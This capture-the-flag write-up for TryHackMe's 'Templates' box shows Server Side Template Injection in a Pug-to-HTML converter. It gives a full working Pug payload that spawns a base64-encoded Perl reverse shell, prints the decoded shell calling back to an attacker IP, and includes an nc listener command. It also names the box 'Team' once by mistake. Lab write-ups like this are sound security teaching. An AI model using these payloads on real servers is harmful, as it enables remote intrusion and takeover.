TryHackMe Templates – Write-up
This write-up will help you solve the Team box on TryHackMe. We only have to acquire one flag using Server Side Template Injection (SSTI).
TryHackMe Templates – Investigation
There is only one open port for the box. You can find a web server running on port 5000. Browse to: http://ATTACKING_IP:5000 to view the document root of the web server. You will find the following PUG to HTML Converter.

PUG is a high-performance template engine. Since there is an input field, we can try to execute server-side code ourselves. Let’s try a simple server-side evaluation: #{3*3}
. With this simple evaluation, we could possibly find a server-side vulnerable web server. Let’s convert the following code to HTML:
h1 title
p Welcome to #{3*3}
You can see the converted HTML code below:
<h1></h1><p>Welcome to 9</p>
As you can see, the output of 3*3 is evaluated and outputted in the HTML code. We can now try to get a reverse shell. You can use the following snippet to acquire a reverse shell for the server. Below you can find the code as well::
h1 title
p Welcome to #{3*3}
#{spawn_sync = this.process.binding('spawn_sync')}
#{ normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}}
#{spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}}
#{payload='dXNlIFNvY2tldDskaT0iMTkyLjE2OC4xMTkuMTI0IjskcD00NDM7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Cg=='}
#{resp=spawnSync('perl',['-e',(new Buffer(payload, 'base64')).toString('ascii')])}
The payload is Base64 encoded. Decode this payload by using, for example, CyberChef. You can find the decoded value below:
use Socket;$i="192.168.119.124";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
Change the IP address ($i) to the IP address of your attacking machine. Change the port number ($p) to, for example, 9001. Use CyberChef to Base64 encode this payload. Craft the reverse shell by copying the complete snippet, including the changed Base64 value. Put this snippet into the HTML converter on the site. Before hitting the button to convert the code to HTML, run the following command to start a listening shell on your attacking machine:
nc -lvnp 9001
Convert the code to HTML. If all went well, you should now have obtained a shell. The flag is in the same directory. You can read its content by running the following command:
cat flag.txt
And you now have completed the box! I had fun getting the flag for the Templates box. Using a template engine can ease your life as a developer, but you should be sure that the end-user cannot Plug-in server-side code at all. A hacker can acquire a reverse shell by even a single input field.